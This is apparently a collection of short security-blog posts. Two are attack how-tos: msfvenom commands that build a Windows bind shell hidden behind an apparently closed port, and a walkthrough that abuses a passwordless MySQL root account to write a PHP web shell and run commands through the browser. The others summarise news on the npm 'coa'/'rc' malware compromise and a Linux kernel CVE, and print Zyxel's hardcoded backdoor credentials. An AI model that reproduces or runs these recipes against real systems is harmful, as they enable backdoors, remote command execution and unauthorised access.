Windows Shellcode Behind Closed Port

This is a simple tactic to hide a TCP shellcode for Windows platform. 

With msfvenom, generate a payload for victim PC (Windows machine) utilizing shell_hidden _bind_tcp and output a file with .exe format.

msfvenom -p windows/shell_hidden_bind_tcp ahost=[Attacker’s IP] lport=[TCP_Port] -f exe > file.exe

msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.1.203 lport=4321 -f exe > file.exe

This hidden Bind TCP shell listens for connections from the host’s IP address (Ahost) and responds with an RST packet to other connections. It makes the port appear closed, allowing us to disguise the Shellcode.

With netstat, the port will appear as LISTENING. However, when scanning the port with any scanner, we will get "closed" state. To connect the the backdoor (from the Ahost IP address), use netcat.

Below is the description at Rapid7.

Description

Listen for a connection from certain IP and spawn a command shell. The shellcode will reply with a RST packet if the connections is not coming from the IP defined in AHOST. This way the port will appear as "closed" helping us to hide the shellcode.

Author(s)

    vlad902 <vlad902@gmail.com>
    sd
    Borja Merino <bmerinofe@gmail.com>

Platform

Windows

Architectures

x86

Links:

• https://www.hackingarticles.in/metasploit-for-pentester-windows-hidden-bind-shell/
• https://www.ehacking.net/2021/10/how-to-hide-shellcode-behind-closed-port.html
• https://www.rapid7.com/db/modules/payload/windows/shell_hidden_bind_tcp/
  

Supply Chain Attack and Opensource Library

This is an instance of supply chain attack that targeting opensource software repositories, where 2 popular NPM packages were found to be compromised with malicious code. 

The 2 libraries, "coa" (parser for command-line options) and "rc" (configuration loader), both of which were tempered to include password stealing malware. Additional analysis of the dropped malware samples show it be a DanaBot variant which is a Windows malware for stealing credentials and passwords.

Last month, there is a similar incident where a compromised NPM libraries (UAParser.js) was found.

Links:

• https://thehackernews.com/2021/10/popular-npm-package-hijacked-to-publish.html
  

RCE via MySQL/PHP

This is a simple and effective exploitation at a mis-configured MySQL/PHP server.  

First, use nmap to discover a mis-configured MySQL where root with empty password.

Secondly, connect to the MySQL with mysql client.

$ mysql -u root -h 192.168.1.33

Then create a PHP backdoor with the following SQL command:

MySQL > select 'Hello World' into outfile '/tmp/test' from mysql.user limit 1;

MySQL > select '<?php $output=shell_exec($_GET["cmd"]);echo "<pre>".$output."</pre>"?>' into outfile '/var/www/html/shell.php' from mysql.user limit 1;

Lastly, start exploiting it from the browser:

http://192.168.1.33/shell.php

http://192.168.1.33/shell.php?cmd=id

http://192.168.1.33/shell.php?cmd=ps -eaf

Two Year Old Linux Backdoor Found

Links:

• https://blog.talosintelligence.com/2021/04/vuln-spotlight-linux-kernel.html
• https://threatpost.com/linux-kernel-bug-wider-cyberattacks/165640/
• https://www.zdnet.com/article/linux-kernel-vulnerability-exposes-stack-memory/
• https://www.youtube.com/watch?v=6d7EN1tbxQY&t=359s
  

└─$ ./kvi-cli.py cve 2020-28588 -crsz


 [*] Searching cve-[['2020-28588']] vulnerability definitions within Kenna.VI+....


[ CVE Description ]
 [*] CVE_ID   : CVE-2020-28588
 [*] CVE_Desc : ** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

 [*] Vuln_Risk          : 25.0
 [*] Exploited [Trend]  : 0 [holding]
 [*] Exploit/likelihood : False None
 [*] C:2020-11-13 / P:[None] / L:[None]

[ Links / References ]
 [*] Exploits :
     [ --> ] None
 [*] Fixes :
     [ --> ]  external_id : ubuntu-cve-2020-28588
     [ --> ]          url : None
     [ --> ]      product : None
     [ --> ] published_at : 2021-02-25T00:00:00Z

     [ --> ]  external_id : 198279
     [ --> ]          url : https://usn.ubuntu.com/4750-1/
     [ --> ]      product : None
     [ --> ] published_at : 2021-03-15T13:25:49Z

     [ --> ]  external_id : 198280
     [ --> ]          url : https://usn.ubuntu.com/4751-1/
     [ --> ]      product : None
     [ --> ] published_at : 2021-03-15T13:25:49Z

     [ --> ]  external_id : 198281
     [ --> ]          url : https://usn.ubuntu.com/4752-1/
     [ --> ]      product : None
     [ --> ] published_at : 2021-03-15T13:25:49Z

     [ --> ]  external_id : 159135
     [ --> ]          url : https://linux.oracle.com/errata/ELSA-2021-9140.html
     [ --> ]      product : None
     [ --> ] published_at : 2021-04-05T13:40:50Z

     [ --> ]  external_id : 159136
     [ --> ]          url : https://linux.oracle.com/errata/ELSA-2021-9141.html
     [ --> ]      product : None
     [ --> ] published_at : 2021-04-05T13:40:50Z

     [ --> ]  external_id : oracle_linux-cve-2020-28588
     [ --> ]          url : None
     [ --> ]      product : None
     [ --> ] published_at : 2021-02-25T00:00:00Z

 [*] Malware :
     [ --> ] None
 [*] Threat Actors :
     [ --> ] None
 [*] CVSS 2.0 [Base/Exploit/Impact/Temporal] : None [ None/None/None/None ]
 [*] CVSS 3.0 [Base/Exploit/Impact/Temporal] : None [ None/None/None/None ]

 [*] Malware Family Info : None
 [*] CVE_Chatter_Info    : 3

[ CVE History : CVE-2020-28588 ]
 [*] ID              : 2514717
 [*] Vuln Risk Score : 25
 [*] History         : 0

[ High_Profile_Vulnerability ]
 [!!!]   CVE-2020-28588 : [  25.00 ] []


 ** [5] threads completed [4 tasks] / [3.53 KB] within [7.95 sec].

Backdoor Discovered in Zyxel Firmware

2020 is a busy start for me, as I need to verify if my Zyxel device is affected by this vulnerability or not.

Zyxel appliance (firewall, VPN gateways, access point controllers) is found to contain a hardcoded admin-level backdoor account that can grant attackers root access to devices via SSH or we administration panel. 

The username and password (zyfwp/PrOw!aN_fXp) were visible in one of the Zyxel firmware binaries. And this vulnerability has been assigned CVE-2020-29583 for tracking. 

Previously, there was a backdoor account tracked as CVE-2016-10401, where Zyxel devices contained a secret backdoor mechanism that allowed anyone to elevate any account on a Zyxel device to root level using the "zyad5001" SU (super-user) password.

Link: Backdoor account discovered in more than 100,000 Zyxel firewalls, VPN gateways | ZDNet

Update 2021-01-10:

Using the zyHell (perl) script from https://donev.eu/ save a lot of my time in verifying the vulnerability.